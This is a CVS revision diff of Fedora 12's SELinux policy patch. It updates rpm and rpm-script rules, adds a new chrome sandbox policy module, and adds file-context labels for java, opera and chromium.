 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   21 
 policy/modules/apps/nsplugin.fc           |   12 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  294 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    6 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 ++++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  182 +++
 policy/modules/apps/sandbox.te            |  329 +++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |   59 +
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   30 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   31 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  183 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    8 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |   34 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  406 ++++++++
 policy/modules/roles/unprivuser.te        |  131 --
 policy/modules/roles/xguest.te            |   18 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   21 
 policy/modules/services/abrt.te           |   14 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  438 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    5 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   18 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   34 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |    9 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    5 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.te           |   10 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 ++++++
 policy/modules/services/plymouth.te       |   86 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   63 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 +
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    6 
 policy/modules/services/rgmanager.if      |   40 
 policy/modules/services/rgmanager.te      |   54 +
 policy/modules/services/rhcs.fc           |   21 
 policy/modules/services/rhcs.if           |  309 ++++++
 policy/modules/services/rhcs.te           |  340 +++++++
 policy/modules/services/ricci.te          |   17 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   78 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  183 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++-
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   31 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  204 +++-
 policy/modules/system/authlogin.te        |    9 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  277 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  158 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |    4 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.if        |   38 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  226 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   74 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1409 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 340 files changed, 15941 insertions(+), 2615 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- policy-F12.patch	1 Oct 2009 21:27:34 -0000	1.98
+++ policy-F12.patch	2 Oct 2009 13:36:22 -0000	1.99
@@ -937,7 +937,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/rpm.te serefpolicy-3.6.32/policy/modules/admin/rpm.te
 --- nsaserefpolicy/policy/modules/admin/rpm.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/rpm.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/rpm.te	2009-10-01 17:14:31.000000000 -0400
 @@ -15,6 +15,9 @@
  domain_interactive_fd(rpm_t)
  role system_r types rpm_t;
@@ -1010,22 +1010,24 @@ diff -b -B --ignore-all-space --exclude-
  
  corecmd_exec_all_executables(rpm_t)
  
-@@ -108,12 +130,14 @@
+@@ -108,12 +130,15 @@
  dev_list_sysfs(rpm_t)
  dev_list_usbfs(rpm_t)
  dev_read_urand(rpm_t)
 +dev_read_raw_memory(rpm_t)
  #devices_manage_all_device_types(rpm_t)
  
++fs_getattr_all_fs(rpm_t)
++fs_getattr_all_dirs(rpm_t)
++fs_list_inotifyfs(rpm_t)
  fs_manage_nfs_dirs(rpm_t)
  fs_manage_nfs_files(rpm_t)
  fs_manage_nfs_symlinks(rpm_t)
- fs_getattr_all_fs(rpm_t)
-+fs_getattr_all_dirs(rpm_t)
+-fs_getattr_all_fs(rpm_t)
  fs_search_auto_mountpoints(rpm_t)
  
  mls_file_read_all_levels(rpm_t)
-@@ -132,6 +156,8 @@
+@@ -132,6 +157,8 @@
  # for installing kernel packages
  storage_raw_read_fixed_disk(rpm_t)
  
@@ -1034,7 +1036,7 @@ diff -b -B --ignore-all-space --exclude-
  auth_relabel_all_files_except_shadow(rpm_t)
  auth_manage_all_files_except_shadow(rpm_t)
  auth_dontaudit_read_shadow(rpm_t)
-@@ -155,6 +181,7 @@
+@@ -155,6 +182,7 @@
  files_exec_etc_files(rpm_t)
  
  init_domtrans_script(rpm_t)
@@ -1042,7 +1044,7 @@ diff -b -B --ignore-all-space --exclude-
  
  libs_exec_ld_so(rpm_t)
  libs_exec_lib_files(rpm_t)
-@@ -174,17 +201,28 @@
+@@ -174,44 +202,37 @@
  ')
  
  optional_policy(`
@@ -1051,28 +1053,45 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
+-	prelink_domtrans(rpm_t)
 +		networkmanager_dbus_chat(rpm_t)
-+	')
-+
-+	optional_policy(`
+ ')
+ 
+ optional_policy(`
+-	unconfined_domain(rpm_t)
+-	# yum-updatesd requires this
+-	unconfined_dbus_chat(rpm_t)
 +		dbus_system_domain(rpm_t, rpm_exec_t)
 +	')
-+')
-+
-+optional_policy(`
- 	prelink_domtrans(rpm_t)
  ')
  
+-ifdef(`TODO',`
+-# read/write/create any files in the system
+-dontaudit rpm_t domain:{ socket unix_dgram_socket udp_socket unix_stream_socket tcp_socket fifo_file rawip_socket packet_socket } getattr;
+-allow rpm_t ttyfile:chr_file unlink;
+-
+-# needs rw permission to the directory for an rpm package that includes a mount
+-# point
+-allow rpm_t fs_type:dir { setattr rw_dir_perms };
+-
+-allow rpm_t mount_t:tcp_socket write;
+-
+-allow rpm_t rpc_pipefs_t:dir search;
++optional_policy(`
++	prelink_domtrans(rpm_t)
++')
+ 
  optional_policy(`
--	unconfined_domain(rpm_t)
+-allow rpm_t sysadm_gph_t:fd use;
 +	unconfined_domain_noaudit(rpm_t)
- 	# yum-updatesd requires this
- 	unconfined_dbus_chat(rpm_t)
++	# yum-updatesd requires this
++	unconfined_dbus_chat(rpm_t)
 +	unconfined_dbus_chat(rpm_script_t)
  ')
+-') dnl endif TODO
  
- ifdef(`TODO',`
-@@ -210,8 +248,8 @@
+ ########################################
+ #
  # rpm-script Local policy
  #
  
@@ -1083,7 +1102,7 @@ diff -b -B --ignore-all-space --exclude-
  allow rpm_script_t self:fd use;
  allow rpm_script_t self:fifo_file rw_fifo_file_perms;
  allow rpm_script_t self:unix_dgram_socket create_socket_perms;
-@@ -222,12 +260,15 @@
+@@ -222,12 +243,15 @@
  allow rpm_script_t self:sem create_sem_perms;
  allow rpm_script_t self:msgq create_msgq_perms;
  allow rpm_script_t self:msg { send receive };
@@ -1099,7 +1118,7 @@ diff -b -B --ignore-all-space --exclude-
  files_tmp_filetrans(rpm_script_t, rpm_script_tmp_t, { file dir })
  
  manage_dirs_pattern(rpm_script_t, rpm_script_tmpfs_t, rpm_script_tmpfs_t)
-@@ -239,6 +280,9 @@
+@@ -239,6 +263,9 @@
  
  kernel_read_kernel_sysctls(rpm_script_t)
  kernel_read_system_state(rpm_script_t)
@@ -1109,7 +1128,7 @@ diff -b -B --ignore-all-space --exclude-
  
  dev_list_sysfs(rpm_script_t)
  
-@@ -255,6 +299,7 @@
+@@ -255,6 +282,7 @@
  fs_mount_xattr_fs(rpm_script_t)
  fs_unmount_xattr_fs(rpm_script_t)
  fs_search_auto_mountpoints(rpm_script_t)
@@ -1117,7 +1136,7 @@ diff -b -B --ignore-all-space --exclude-
  
  mcs_killall(rpm_script_t)
  mcs_ptrace_all(rpm_script_t)
-@@ -272,14 +317,19 @@
+@@ -272,14 +300,19 @@
  storage_raw_read_fixed_disk(rpm_script_t)
  storage_raw_write_fixed_disk(rpm_script_t)
  
@@ -1137,15 +1156,18 @@ diff -b -B --ignore-all-space --exclude-
  
  domain_read_all_domains_state(rpm_script_t)
  domain_getattr_all_domains(rpm_script_t)
-@@ -291,6 +341,7 @@
+@@ -291,8 +324,10 @@
  files_exec_etc_files(rpm_script_t)
  files_read_etc_runtime_files(rpm_script_t)
  files_exec_usr_files(rpm_script_t)
 +files_relabel_all_files(rpm_script_t)
  
  init_domtrans_script(rpm_script_t)
++init_chat(rpm_script_t)
  
-@@ -308,12 +359,15 @@
+ libs_exec_ld_so(rpm_script_t)
+ libs_exec_lib_files(rpm_script_t)
+@@ -308,12 +343,15 @@
  seutil_domtrans_loadpolicy(rpm_script_t)
  seutil_domtrans_setfiles(rpm_script_t)
  seutil_domtrans_semanage(rpm_script_t)
@@ -1161,7 +1183,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -326,13 +380,22 @@
+@@ -326,13 +364,22 @@
  ')
  
  optional_policy(`
@@ -1592,6 +1614,157 @@ diff -b -B --ignore-all-space --exclude-
 -optional_policy(`
 -	nis_use_ypbind(calamaris_t)
 -')
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/chrome.fc serefpolicy-3.6.32/policy/modules/apps/chrome.fc
+--- nsaserefpolicy/policy/modules/apps/chrome.fc	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/apps/chrome.fc	2009-10-02 08:22:43.000000000 -0400
+@@ -0,0 +1,2 @@
++
++/usr/lib64/chromium-browser/chrome-sandbox	--	gen_context(system_u:object_r:chrome_sandbox_exec_t,s0)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/chrome.if serefpolicy-3.6.32/policy/modules/apps/chrome.if
+--- nsaserefpolicy/policy/modules/apps/chrome.if	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/apps/chrome.if	2009-10-02 08:37:09.000000000 -0400
+@@ -0,0 +1,85 @@
++
++## <summary>policy for chrome</summary>
++
++########################################
++## <summary>
++##	Execute a domain transition to run chrome_sandbox.
++## </summary>
++## <param name="domain">
++## <summary>
++##	Domain allowed to transition.
++## </summary>
++## </param>
++#
++interface(`chrome_domtrans_sandbox',`
++	gen_require(`
++		type chrome_sandbox_t, chrome_sandbox_exec_t;
++	')
++
++	domtrans_pattern($1,chrome_sandbox_exec_t,chrome_sandbox_t)
++')
++
++
++########################################
++## <summary>
++##	Execute chrome_sandbox in the chrome_sandbox domain, and
++##	allow the specified role the chrome_sandbox domain.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access
++##	</summary>
++## </param>
++## <param name="role">
++##	<summary>
++##	The role to be allowed the chrome_sandbox domain.
++##	</summary>
++## </param>
++#
++interface(`chrome_run_sandbox',`
++	gen_require(`
++		type chrome_sandbox_t;
++	')
++
++	chrome_domtrans_sandbox($1)
++	role $2 types chrome_sandbox_t;
++')
++
++########################################
++## <summary>
++##	Role access for chrome sandbox
++## </summary>
++## <param name="role">
++##	<summary>
++##	Role allowed access
++##	</summary>
++## </param>
++## <param name="domain">
++##	<summary>
++##	User domain for the role
++##	</summary>
++## </param>
++#
++interface(`chrome_role',`
++	gen_require(`
++              type chrome_sandbox_t;
++              type chrome_sandbox_tmpfs_t;
++	')
++
++	role $1 types chrome_sandbox_t;
++
++	chrome_domtrans_sandbox($2)
++
++	ps_process_pattern($2, chrome_sandbox_t)
++	allow $2 chrome_sandbox_t:process signal;
++
++	allow chrome_sandbox_t $2:unix_dgram_socket { read write };
++	allow $2 chrome_sandbox_t:unix_dgram_socket { read write };
++	allow chrome_sandbox_t $2:unix_stream_socket { read write };
++	allow $2 chrome_sandbox_t:unix_stream_socket { read write };
++
++	allow $2 chrome_sandbox_t:shm rw_shm_perms;
++
++	allow $2 chrome_sandbox_tmpfs_t:file rw_file_perms;
++')
++
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/chrome.te serefpolicy-3.6.32/policy/modules/apps/chrome.te
+--- nsaserefpolicy/policy/modules/apps/chrome.te	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/apps/chrome.te	2009-10-02 08:23:19.000000000 -0400
+@@ -0,0 +1,52 @@
++policy_module(chrome,1.0.0)
++
++########################################
++#
++# Declarations
++#
++
++type chrome_sandbox_t;
++type chrome_sandbox_exec_t;
++application_domain(chrome_sandbox_t, chrome_sandbox_exec_t)
++role system_r types chrome_sandbox_t;
++
++type chrome_sandbox_tmp_t;
++files_tmp_file(chrome_sandbox_tmp_t)
++
++type chrome_sandbox_tmpfs_t;
++files_tmpfs_file(chrome_sandbox_tmpfs_t)
++ubac_constrained(chrome_sandbox_tmpfs_t)
++
++permissive chrome_sandbox_t;
++
++########################################
++#
++# chrome_sandbox local policy
++#
++allow chrome_sandbox_t self:capability { setuid sys_admin dac_override sys_chroot chown fsetid setgid };
++allow chrome_sandbox_t self:process { setrlimit execmem };
++allow chrome_sandbox_t self:fifo_file manage_file_perms;
++allow chrome_sandbox_t self:unix_stream_socket create_stream_socket_perms;
++allow chrome_sandbox_t self:unix_dgram_socket { create_socket_perms sendto };
++allow chrome_sandbox_t self:shm create_shm_perms;
++
++manage_dirs_pattern(chrome_sandbox_t, chrome_sandbox_tmp_t, chrome_sandbox_tmp_t)
++manage_files_pattern(chrome_sandbox_t, chrome_sandbox_tmp_t, chrome_sandbox_tmp_t)
++files_tmp_filetrans(chrome_sandbox_t, chrome_sandbox_tmp_t, { dir file })
++
++manage_files_pattern(chrome_sandbox_t, chrome_sandbox_tmpfs_t, chrome_sandbox_tmpfs_t)
++fs_tmpfs_filetrans(chrome_sandbox_t, chrome_sandbox_tmpfs_t, file)
++
++kernel_read_kernel_sysctls(chrome_sandbox_t)
++
++corecmd_exec_bin(chrome_sandbox_t)
++
++dev_read_urand(chrome_sandbox_t)
++
++files_read_etc_files(chrome_sandbox_t)
++
++userdom_rw_user_tmpfs_files(chrome_sandbox_t)
++userdom_use_user_ptys(chrome_sandbox_t)
++
++miscfiles_read_localization(chrome_sandbox_t)
++miscfiles_read_fonts(chrome_sandbox_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/cpufreqselector.te serefpolicy-3.6.32/policy/modules/apps/cpufreqselector.te
 --- nsaserefpolicy/policy/modules/apps/cpufreqselector.te	2009-09-09 09:23:16.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/apps/cpufreqselector.te	2009-09-30 16:12:48.000000000 -0400
@@ -2118,7 +2291,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/java.fc serefpolicy-3.6.32/policy/modules/apps/java.fc
 --- nsaserefpolicy/policy/modules/apps/java.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/java.fc	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/java.fc	2009-10-02 08:53:58.000000000 -0400
 @@ -2,15 +2,16 @@
  # /opt
  #
@@ -2139,7 +2312,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/bin/frysk		--	gen_context(system_u:object_r:java_exec_t,s0)
  /usr/bin/gappletviewer	--	gen_context(system_u:object_r:java_exec_t,s0)
  /usr/bin/gcj-dbtool	--	gen_context(system_u:object_r:java_exec_t,s0)
-@@ -20,5 +21,11 @@
+@@ -20,5 +21,12 @@
  /usr/bin/grmic		--	gen_context(system_u:object_r:java_exec_t,s0)
  /usr/bin/grmiregistry	--	gen_context(system_u:object_r:java_exec_t,s0)
  /usr/bin/jv-convert	--	gen_context(system_u:object_r:java_exec_t,s0)
@@ -2153,6 +2326,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 +/usr/bin/octave-[^/]*  	--	gen_context(system_u:object_r:java_exec_t,s0)
 +/usr/lib/opera(/.*)?/opera	--	gen_context(system_u:object_r:java_exec_t,s0)
++/usr/lib/opera(/.*)?/works	--	gen_context(system_u:object_r:java_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/java.if serefpolicy-3.6.32/policy/modules/apps/java.if
 --- nsaserefpolicy/policy/modules/apps/java.if	2009-08-18 11:41:14.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/apps/java.if	2009-09-30 16:12:48.000000000 -0400
@@ -2738,7 +2912,7 @@ diff -b -B --ignore-all-space --exclude-
  ## <param name="domain">
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/mozilla.te serefpolicy-3.6.32/policy/modules/apps/mozilla.te
 --- nsaserefpolicy/policy/modules/apps/mozilla.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/mozilla.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/mozilla.te	2009-10-02 08:15:50.000000000 -0400
 @@ -59,6 +59,7 @@
  manage_files_pattern(mozilla_t, mozilla_home_t, mozilla_home_t)
  manage_lnk_files_pattern(mozilla_t, mozilla_home_t, mozilla_home_t)
@@ -4847,7 +5021,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/corecommands.fc serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc
 --- nsaserefpolicy/policy/modules/kernel/corecommands.fc	2009-07-30 13:09:10.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc	2009-10-02 08:03:28.000000000 -0400
 @@ -1,4 +1,4 @@
 -
 +c
@@ -4897,7 +5071,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/share/system-config-selinux/system-config-selinux\.py -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/system-config-display/system-config-display -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/system-config-httpd/system-config-httpd -- gen_context(system_u:object_r:bin_t,s0)
-@@ -315,3 +323,21 @@
+@@ -315,3 +323,23 @@
  ifdef(`distro_suse',`
  /var/lib/samba/bin/.+			gen_context(system_u:object_r:bin_t,s0)
  ')
@@ -4919,6 +5093,8 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/lib(64)?/rpm/rpmv		-- 	gen_context(system_u:object_r:bin_t,s0)
 +
 +/usr/lib(64)?/gimp/.*/plug-ins(/.*)?  gen_context(system_u:object_r:bin_t,s0)
++
++/usr/lib(64)?/chromium-browser/chromium-browser  gen_context(system_u:object_r:bin_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/corecommands.if serefpolicy-3.6.32/policy/modules/kernel/corecommands.if
 --- nsaserefpolicy/policy/modules/kernel/corecommands.if	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/kernel/corecommands.if	2009-09-30 16:12:48.000000000 -0400
@@ -6188,7 +6364,7 @@ diff -b -B --ignore-all-space --exclude-
 +/dev/shm		-d	gen_context(system_u:object_r:tmpfs_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/filesystem.if serefpolicy-3.6.32/policy/modules/kernel/filesystem.if
 --- nsaserefpolicy/policy/modules/kernel/filesystem.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/filesystem.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/filesystem.if	2009-10-01 17:13:44.000000000 -0400
 @@ -1149,6 +1149,44 @@
  	domain_auto_transition_pattern($1, cifs_t, $2)
  ')
@@ -7332,8 +7508,8 @@ diff -b -B --ignore-all-space --exclude-
 +
